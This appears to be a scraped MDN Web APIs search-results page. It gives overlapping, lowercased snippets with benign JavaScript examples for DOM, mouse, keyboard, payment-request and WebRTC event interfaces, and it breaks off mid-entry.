event listener for the htmlmediaelement's play
event, then post a message when that
event handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('play', (
event) => { console.log('the boolean paused property is now false. either the ' + 'play() method was called or the autoplay attribute was toggled.
...for the htmlmediaelement's play
event, then post a message when that
event handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('play', (
event) => { console.log('the boolean paused property is now false. either the ' + 'play() method was called or the autoplay attribute was toggled.'); }); using the onplay
event handler property: const video = document.queryselector('video'); video.onplay = (
event) => { console.log('the boolean paused property is now false. either the ' + 'play() method was called or the autoplay attribute was toggled.'); }; specifications specification status html living standardthe definition of 'play media
event' in that specification. living standard ...
...ueryselector('video'); video.onplay = (
event) => { console.log('the boolean paused property is now false. either the ' + 'play() method was called or the autoplay attribute was toggled.'); }; specifications specification status html living standardthe definition of 'play media
event' in that specification. living standard html5the definition of 'play media
event' in that specification. recommendation ...
HTMLSlotElement: slotchange event - Web APIs
the slotchange
event is fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change. note: the slotchange
event doesn't fire if the children of a slotted node change — only if you change (e.g. add or delete) the actual nodes themselves. bubbles yes cancelable no interface
event event handler property none in order to trigger a slotchange
event, one has to set or remove the slot attribute. examples element.setattribute('slot', slotname); // element.assignedslot = $slot element.removeattribute('slot'); // element.assignedslot = null the following snippet is taken from our slotchange example (see it live also). ...
...erty none in order to trigger a slotchange
event, one has to set or remove the slot attribute. examples element.setattribute('slot', slotname); // element.assignedslot = $slot element.removeattribute('slot'); // element.assignedslot = null the following snippet is taken from our slotchange example (see it live also). let slots = this.shadowroot.queryselectorall('slot'); slots[1].add
eventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the <slot>s, then add a slotchange
event listener to the template's second slot — which is the one which has its contents changed in the example. every time the element inserted in the ...
... living standard initial definition ...
KeyboardEvent.ctrlKey - Web APIs
the keyboard
event.ctrlkey read-only property returns a boolean that indicates if the control key was pressed (true) or not (false) when the
event occured. ...
... the keyboard
event.ctrlkey read-only property returns a boolean that indicates if the control key was pressed (true) or not (false) when the
event occured. ...
...as pressed (true) or not (false) when the
event occured. syntax var ctrlkeypressed = instanceofkeyboard
event.ctrlkey return value a boolean example <html> <head> <title>ctrlkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(
event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'keyboard
event.ctrlkey' in that specification. obsolete initial definition. ...
MediaStreamEvent() - Web APIs
the mediastream
event() constructor creates a new mediastream
event. syntax var
event = new mediastream
event(type, mediastream
eventinit); values type is a domstring containing the name of the
event, like addstream or removestream. mediastream
eventinit is a mediastream
eventinit dictionary, having the following fields: "stream" of type mediastream representing the stream being concerned by the
event. "bubbles", optional and defaulting to false, inherited from
eventinit, and indicating if the
event must bubble or not. "cancelable", optional and defaulting to false, inherited from
eventinit, and indicating if the
event can be canceled or not. ...
... the following fields: "stream" of type mediastream representing the stream being concerned by the
event. "bubbles", optional and defaulting to false, inherited from
eventinit, and indicating if the
event must bubble or not. ...
... "stream" of type mediastream representing the stream being concerned by the
event. "bubbles", optional and defaulting to false, inherited from
eventinit, and indicating if the
event must bubble or not. "cancelable", optional and defaulting to false, inherited from
eventinit, and indicating if the
event can be canceled or not. ...
MerchantValidationEvent.validationURL - Web APIs
once this has been loaded, it should be passed into complete(), either directly or using a promise. see merchant validation in payment processing concepts for more information on the merchant validation process. ...
...once this has been loaded, it should be passed into complete(), either directly or using a promise. see merchant validation in payment processing concepts for more information on the merchant validation process. ...
...c data needed to complete the merchant verification process. once this has been loaded, it should be passed into complete(), either directly or using a promise. see merchant validation in payment processing concepts for more information on the merchant validation process. specifications specification status comment payment request apithe definition of 'merchantvalidation
event.validationurl' in that specification. candidate recommendation initial definition. ...
MerchantValidationEvent - Web APIs
the merchantvalidation
event interface of the the payment request api enables a merchant to verify themselves as allowed to use a particular payment handler. to learn more about merchant validation, see merchant validation in payment processing concepts. constructor merchantvalidation
event() secure context creates a new merchantvalidation
event object describing a merchantvalidation
event that will be sent to the payment handler to request that it validate the merchant. properties merchantvalidation
event.methodname secure context a domstring providing a unique payment method identifier for the payment handler that's requiring validation. this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment handle...
...ate the merchant. properties merchantvalidation
event.methodname secure context a domstring providing a unique payment method identifier for the payment handler that's requiring validation. this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment handler, such as https://apple.com/apple-pay. merchantvalidation
event.validationurl secure context a usvstring specifying a url from which the site or app can fetch payment handler specific validation information. once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant. ...
...ay. merchantvalidation
event.validationurl secure context a usvstring specifying a url from which the site or app can fetch payment handler specific validation information. once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant. methods merchantvalidation
event.complete() secure context pass the data retrieved from the url specified by validationurl into complete() to complete the validation process for the paymentrequest. specifications specification status comment payment request apithe definition of 'merchantvalidation
event' in that specification. candidate recommendation initial definition. ...
MouseEvent.altKey - Web APIs
the mouse
event.altkey read-only property is a boolean that indicates whether the alt key was pressed or not when a given mouse
event occurs. be aware that the browser can't always detect the alt key on some operating systems. on some linux variants, for example, a left mouse click combined with the alt key is used to move or resize windows. note: on macintosh keyboards, this key is also known as the option key. syntax var altkeypressed = instanceofmouse
event.altkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the altkey property when you trigger a click
event. html <p>click anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.querys...
...ltkeypressed = instanceofmouse
event.altkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the altkey property when you trigger a click
event. html <p>click anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.add
eventlistener('click', logkey); function logkey(e) { log.textcontent = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.altkey' in that specification. obsolete no change from document object model (dom) level 2
events specification. ...
...key(e) { log.textcontent = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.altkey' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.altkey' in that specification. obsolete initial definition. ...
MouseEvent.clientX - Web APIs
the clientx read-only property of the mouse
event interface provides the horizontal coordinate within the application's client area at which the
event occurred (as opposed to the coordinate within the page). for example, clicking on the left edge of the client area will always result in a mouse
event with a clientx value of 0, regardless of whether the page is scrolled horizontally. syntax var x = instanceofmouse
event.clientx return value a double floating point value, as redefined by the cssom view module. originally, this property was defined as a long integer. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove
event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> j...
...redefined by the cssom view module. originally, this property was defined as a long integer. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove
event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.add
eventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that specification. working draft redefines mouse
event from long to double. ...
...gkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that specification. working draft redefines mouse
event from long to double. document object model (dom) level 3
events specificationthe definition of 'mouse
event.clientx' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.clientx' in that specification. obsolete initial definition. ...
MouseEvent.clientY - Web APIs
the clienty read-only property of the mouse
event interface provides the vertical coordinate within the application's client area at which the
event occurred (as opposed to the coordinate within the page). for example, clicking on the top edge of the client area will always result in a mouse
event with a clienty value of 0, regardless of whether the page is scrolled vertically. syntax var y = instanceofmouse
event.clienty return value a double floating point value, as redefined by the cssom view module. originally, this property was defined as a long integer. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove
event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javasc...
...redefined by the cssom view module. originally, this property was defined as a long integer. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove
event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.add
eventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that specification. working draft redefines mouse
event from long to double. ...
...gkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that specification. working draft redefines mouse
event from long to double. document object model (dom) level 3
events specificationthe definition of 'mouse
event.clienty' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.clienty' in that specification. obsolete initial definition. ...
MouseEvent.ctrlKey - Web APIs
the mouse
event.ctrlkey read-only property is a boolean that indicates whether the ctrl key was pressed or not when a given mouse
event occurs. note: on macintosh keyboards, this key is the control key. syntax var ctrlkeypressed = instanceofmouse
event.ctrlkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the ctrlkey property when you trigger a click
event. ...
...eypressed = instanceofmouse
event.ctrlkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the ctrlkey property when you trigger a click
event. html <p>click anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.add
eventlistener('click', logkey); function logkey(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.ctrlkey' in that specification. obsolete no change from document object model (dom) level 2
events specification. ...
...(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.ctrlkey' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.ctrlkey' in that specification. obsolete initial definition. ...
MouseEvent.metaKey - Web APIs
the mouse
event.metakey read-only property is a boolean that indicates whether the meta key was pressed or not when a given mouse
event occurs. be aware that many operating systems bind special functionality to the meta key, so this property may be false even when the key is actually pressed. on windows, for example, this key may open the start menu. note: on macintosh keyboards, this key is the command key (⌘). on windows keyboards, this key is the windows key (⊞). syntax var metakeypressed = instanceofmouse
event.metakey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the metakey property when you trigger a click
event. html <p>click anywhere to test the <code>metakey</code> proper...
...eypressed = instanceofmouse
event.metakey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the metakey property when you trigger a click
event. html <p>click anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.add
eventlistener('click', logkey); function logkey(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.metakey' in that specification. obsolete no change from document object model (dom) level 2
events specification. ...
...(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.metakey' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.metakey' in that specification. obsolete initial definition. ...
MouseEvent.movementX - Web APIs
the movementx read-only property of the mouse
event interface provides the difference in the x coordinate of the mouse pointer between the given
event and the previous mousemove
event. in other words, the value of the property is computed like this: current
event.movementx = current
event.screenx - previous
event.screenx. syntax var xshift = instanceofmouse
event.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy. ...
...ousemove
event. in other words, the value of the property is computed like this: current
event.movementx = current
event.screenx - previous
event.screenx. syntax var xshift = instanceofmouse
event.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy. ...
...computed like this: current
event.movementx = current
event.screenx - previous
event.screenx. syntax var xshift = instanceofmouse
event.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy. html <p id="log">move your mouse around.</p> javascript function logmovement(
event) { log.insertadjacenthtml('afterbegin', `movement: ${
event.movementx}, ${
event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.add
eventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouse
event.movementx' in that specification. candidate recommendation initial defin...
MouseEvent.mozInputSource - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mouse
event.mozinputsource read-only property on mouse
event provides information indicating the type of device that generated the
event. this lets you, for example, determine whether a mouse
event was generated by an actual mouse or by a touch
event (which might affect the degree of accuracy with which you interpret the coordinates associated with the
event). syntax var source = instanceofmouse
event.mozinputsource; return value the following values are possible. constant name valu...
...al mouse or by a touch
event (which might affect the degree of accuracy with which you interpret the coordinates associated with the
event). syntax var source = instanceofmouse
event.mozinputsource; return value the following values are possible. constant name value desription moz_source_unknown 0 the input device is unknown. moz_source_mouse 1 the
event was generated by a mouse (or mouse-like device). moz_source_pen 2 the
event was generated by a pen on a tablet. moz_source_eraser 3 the
event was generated by an eraser on a tablet. moz_source_cursor 4 the
event was generated by a cursor. moz_source_touch 5 the
event was generated on a touch interface. moz_source_keyboard 6 ...
...enerated by a mouse (or mouse-like device). moz_source_pen 2 the
event was generated by a pen on a tablet. moz_source_eraser 3 the
event was generated by an eraser on a tablet. moz_source_cursor 4 the
event was generated by a cursor. moz_source_touch 5 the
event was generated on a touch interface. moz_source_keyboard 6 the
event was generated by a keyboard. specifications not part of any specification. ...
MouseEvent.screenY - Web APIs
the screeny read-only property of the mouse
event interface provides the vertical coordinate (offset) of the mouse pointer in global (screen) coordinates. syntax var y = instanceofmouse
event.screeny return value a double floating point value. early versions of the spec defined this as an integer referring to the number of pixels. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove
event. ...
...ue. early versions of the spec defined this as an integer referring to the number of pixels. see the "browser compatibility" section for details. example this example displays your mouse's coordinates whenever you trigger the mousemove
event. html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.add
eventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that specification. working draft redefines mouse
event from long to double. ...
...gkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that specification. working draft redefines mouse
event from long to double. document object model (dom) level 3
events specificationthe definition of 'mouse
event.screeny' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.sceeny' in that specification. obsolete initial definition ...
MouseEvent.shiftKey - Web APIs
the mouse
event.shiftkey read-only property is a boolean that indicates whether the shift key was pressed or not when a given mouse
event occurs. syntax var shiftkeypressed = instanceofmouse
event.shiftkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the shiftkey property when you trigger a click
event. ...
...ressed = instanceofmouse
event.shiftkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. example this example logs the shiftkey property when you trigger a click
event. html <p>click anywhere to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.add
eventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.shiftkey' in that specification. ...
...'); document.add
eventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'mouse
event.shiftkey' in that specification. obsolete no change from document object model (dom) level 2
events specification. document object model (dom) level 2
events specificationthe definition of 'mouse
event.shiftkey' in that specification. obsolete initial definition. ...
PaymentMethodChangeEvent.methodDetails - Web APIs
the read-only methoddetails property of the paymentmethodchange
event interface is an object containing any data the payment handler may provide to describe the change the user has made to their payment method. the value is null if no details are available. syntax details = paymentmethodchange
event.methodname; value an object containing any data needed to describe the changes made to the payment method. the contents vary depending on the actual payment method chosen, so you will need to refer to the methodname property first, then inerpret the methoddetails after that. the default value is null, indicating that no additional details are available. ...
... value an object containing any data needed to describe the changes made to the payment method. the contents vary depending on the actual payment method chosen, so you will need to refer to the methodname property first, then inerpret the methoddetails after that. the default value is null, indicating that no additional details are available. example this example uses the paymentmethodchange
event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method. request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple...
...ains the card information const result = calculatediscount(ev.methoddetails); object.assign(newstuff, result); break; } } // finally... ev.updatewith(newstuff); }; const response = await request.show(); note that the methoddetails property is being used by the calculatediscount() function to compute any payment discount, then updatewith() is called to update the
event with the computed update. specifications specification status comment payment request apithe definition of 'paymentmethodchange
event.methoddetails' in that specification. candidate recommendation initial definition. ...
PaymentRequestUpdateEvent - Web APIs
the paymentrequestupdate
event interface is used for
events sent to a paymentrequest instance when changes are made to shipping-related information for a pending paymentrequest. those
events are: shippingaddresschange secure context dispatched whenever the user changes their shipping address. also available using the onshippingaddresschange
event handler property. shippingoptionchange secure context dispatched whenever the user changes a shipping option. also available using the onshippingoptionchange
event handler property. constructor paymentrequestupdate
event() secure context creates a new paymentrequestupdate
event object. properties provides only the properties inherited from its parent interface,
event. methods in addition to methods inherited from the parent interface...
...ext dispatched whenever the user changes a shipping option. also available using the onshippingoptionchange
event handler property. constructor paymentrequestupdate
event() secure context creates a new paymentrequestupdate
event object. properties provides only the properties inherited from its parent interface,
event. methods in addition to methods inherited from the parent interface,
event, paymentrequestupdate
event offers the following methods: paymentrequestupdate
event.updatewith() secure context if the
event handler determines that information included in the payment request needs to be changed, or that new information needs to be added, it calls updatewith() with the information that needs to be replaced or added. specifications specification status commen...
...equestupdate
event.updatewith() secure context if the
event handler determines that information included in the payment request needs to be changed, or that new information needs to be added, it calls updatewith() with the information that needs to be replaced or added. specifications specification status comment payment request apithe definition of 'paymentrequestupdate
event' in that specification. candidate recommendation initial definition. ...
Performance: resourcetimingbufferfull event - Web APIs
the resourcetimingbufferfull
event is fired when the browser's resource timing buffer is full. bubbles yes cancelable yes interface
event event handler property onresourcetimingbufferfull examples the following example sets a callback function on the onresourcetimingbufferfull property. ...
... the resourcetimingbufferfull
event is fired when the browser's resource timing buffer is full. bubbles yes cancelable yes interface
event event handler property onresourcetimingbufferfull examples the following example sets a callback function on the onresourcetimingbufferfull property. ...
... on the onresourcetimingbufferfull property. function buffer_full(
event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the add
eventlistener() function: performance.add
eventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification. candidate recommendation initial definition. ...
PointerEvent.pointerId - Web APIs
the pointerid read-only property of the pointer
event interface is an identifier assigned to a given pointer
event. the identifier is unique, being different from the identifiers of all other active pointer
events. since the value may be randomly generated, it is not guaranteed to convey any particular meaning. syntax var id = pointer
event.pointerid; return value id the pointer
event's unique identifier number. example the following code snippet compares a previously saved pointerid with the one of the pointerdown
event that was just fired. ...
...e randomly generated, it is not guaranteed to convey any particular meaning. syntax var id = pointer
event.pointerid; return value id the pointer
event's unique identifier number. example the following code snippet compares a previously saved pointerid with the one of the pointerdown
event that was just fired. let id; // let's assume that this is a previously saved pointerid target.add
eventlistener('pointerdown', function(
event) { // compare previous
event's id that was cached // to current
event's id and handle accordingly if (id ===
event.pointerid) process_
event(
event); }, false); specifications specification status comment pointer
events – level 2the definition of 'pointerid' in that specification. recommendation non-stable version. ...
...interdown', function(
event) { // compare previous
event's id that was cached // to current
event's id and handle accordingly if (id ===
event.pointerid) process_
event(
event); }, false); specifications specification status comment pointer
events – level 2the definition of 'pointerid' in that specification. recommendation non-stable version. pointer
eventsthe definition of 'pointerid' in that specification. obsolete initial definition. ...
PromiseRejectionEvent.promise - Web APIs
the promiserejection
event interface's promise read-only property indicates the javascript promise which was rejected. you can examine the
event's promiserejection
event.reason property to learn why the promise was rejected. syntax promise = promiserejection
event.promise value the javascript promise which was rejected, and whose rejection went unhandled. examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly.
event.pr
eventdefault() is called to indicate that the promise has now been handled. ...
...ected, and whose rejection went unhandled. examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly.
event.pr
eventdefault() is called to indicate that the promise has now been handled. ...
...e rejection went unhandled. examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly.
event.pr
eventdefault() is called to indicate that the promise has now been handled. window.onunhandledrejection = function(
event) { if (
event.reason.code &&
event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(
event.reason.modulename) .then(performstartup); });
event.pr
eventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejection
event.promise' in that specification. livi...
RTCDataChannel: close event - Web APIs
the close
event is sent to the onclose
event handler on an rtcdatachannel instance when the data transport being used for the data channel has closed. before any further data can be transferred using rtcdatachannel, a new data channel instance must be created. bubbles no cancelable no interface
event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close
event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started. ...
... bubbles no cancelable no interface
event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close
event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started. dc.add
eventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to receiving the close
event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call). you can also use the oncl...
...ener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to receiving the close
event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call). you can also use the onclose
event handler property to set a handler for close
events: dc.onclose = ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'close' in that specification. candidate ...
RTCDataChannelEvent() - Web APIs
the rtcdatachannel
event() constructor creates a new rtcdatachannel
event. you will rarely if ever construct an rtcdatachannel
event by hand; these
events are normally created and sent by the webrtc layer itself. syntax var
event = new rtcdatachannel
event(type, rtcdatachannel
eventinit); parameters type a domstring which specifies the name of the
event. there is only one type of rtcdatachannel
event, so this will always be "datachannel". rtcdatachannel
eventinit a rtcdatachannel
eventinit dictionary, which has following fields: "channel" of type rtcdatachannel, representing the data channel being concerned by the
event. "bubbles", optional, inherited from
eventinit. indicates if the
event must bubble or not. default is false. "cancelable", optional, inherited from
eventinit. in...
... will always be "datachannel". rtcdatachannel
eventinit a rtcdatachannel
eventinit dictionary, which has following fields: "channel" of type rtcdatachannel, representing the data channel being concerned by the
event. "bubbles", optional, inherited from
eventinit. indicates if the
event must bubble or not. default is false. "cancelable", optional, inherited from
eventinit. indicates if the
event can be canceled or not. default is false. value a new rtcdatachannel
event configured as specified. example in this example, a new datachannel
event is created. dc is a data channel which already exists. ...
..."bubbles", optional, inherited from
eventinit. indicates if the
event must bubble or not. default is false. "cancelable", optional, inherited from
eventinit. indicates if the
event can be canceled or not. default is false. value a new rtcdatachannel
event configured as specified. example in this example, a new datachannel
event is created. dc is a data channel which already exists. var
event = new rtcdatachannel
event("datachannel", {"channel": dc}); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel
event' in that specification. candidate recommendation initial specification. ...
RTCErrorEvent - Web APIs
the webrtc api's rtcerror
event interface represents an error sent to a webrtc object. it's based on the standard
event interface, but adds rtc-specific information describing the error, as shown below. constructor rtcerror
event() creates and returns a new rtcerror
event object. properties in addition to the standard properties available on the
event interface, rtcerror
event also includes the following: error read only an rtcerror object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue). methods no additional methods are provided beyond any found on the parent interface,
event. description there are other data types used...
... error read only an rtcerror object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue). methods no additional methods are provided beyond any found on the parent interface,
event. description there are other data types used for error
events in webrtc, as needed for errors with special information sharing requirements. the most common of these is probably rtcpeerconnectioniceerror
event, used by the icecandidateerror
event, which signals an error that has occurred while gathering ice candidates during connection negotiation. specifications specification status comment webrtc 1.0: real-time communication ...
...ial information sharing requirements. the most common of these is probably rtcpeerconnectioniceerror
event, used by the icecandidateerror
event, which signals an error that has occurred while gathering ice candidates during connection negotiation. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerror
event' in that specification. candidate recommendation initial definition. ...
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepairchange
event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a viable connection. the pair of candidates is in turn described by an rtcicecandidatepair object which contains one rtcicecandidate representing the local end of the connection, and another representing the remote end of the connection. together, the candidates can be used to establish a connection to be used by the rtcicetransport, and, by extension, by an rtcpeerconnection. ...
...n described by an rtcicecandidatepair object which contains one rtcicecandidate representing the local end of the connection, and another representing the remote end of the connection. together, the candidates can be used to establish a connection to be used by the rtcicetransport, and, by extension, by an rtcpeerconnection. bubbles no cancelable no interface
event event handler property onselectedcandidatepairchange examples this example creates an
event handler for selectedcandidatepairchange that updates a display providing the user information about the progress of the ice negotiation for an rtcpeerconnection called pc. let icetransport = pc.getsenders[0].transport.icetransport; let localprotoelem = document.getelementbyid("local-pr...
...le creates an
event handler for selectedcandidatepairchange that updates a display providing the user information about the progress of the ice negotiation for an rtcpeerconnection called pc. let icetransport = pc.getsenders[0].transport.icetransport; let localprotoelem = document.getelementbyid("local-protocol"); let remoteprotoelem = document.getelementbyid("remote-protocol"); icetransport.add
eventlistener("selectedcandidatepairchange", ev => { let pair = icetransport.getselectedcandidatepair(); localprotoelem.innertext = pair.local.protocol.touppercase(); remoteprotoelem.innertext = pair.remote.protocol.touppercase(); }, false) this can also be done by setting the onselectedcandidatepairchange
event handler property directly. let icetransport = pc.getsenders[0].transport.icetranspo...
RTCIceTransport: statechange event - Web APIs
a statechange
event occurs when the rtcicetransport changes state. the state can be used to determine how far through the process of examining, verifying, and selecting a valid candidate pair is prior to successfully connecting the two peers for webrtc communications. bubbles no cancelable no interface
event event handler property rtcicetransport.onstatechange examples given an rtcpeerconnection, pc, the following code creates an
event handler that calls a function named handlefailure() if the ice transport enters a failure state. ...
... bubbles no cancelable no interface
event event handler property rtcicetransport.onstatechange examples given an rtcpeerconnection, pc, the following code creates an
event handler that calls a function named handlefailure() if the ice transport enters a failure state. ...
...ven an rtcpeerconnection, pc, the following code creates an
event handler that calls a function named handlefailure() if the ice transport enters a failure state. let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.add
eventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange
event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification. candidat...
RTCIdentityErrorEvent.idp - Web APIs
the read-only property rtcidentityerror
event.idp returns the domstring describing the domain name of the identity provider (idp) generating the error response
event. firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...nt.idp returns the domstring describing the domain name of the identity provider (idp) generating the error response
event. firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...rns the domstring describing the domain name of the identity provider (idp) generating the error response
event. firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerror
event. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerror
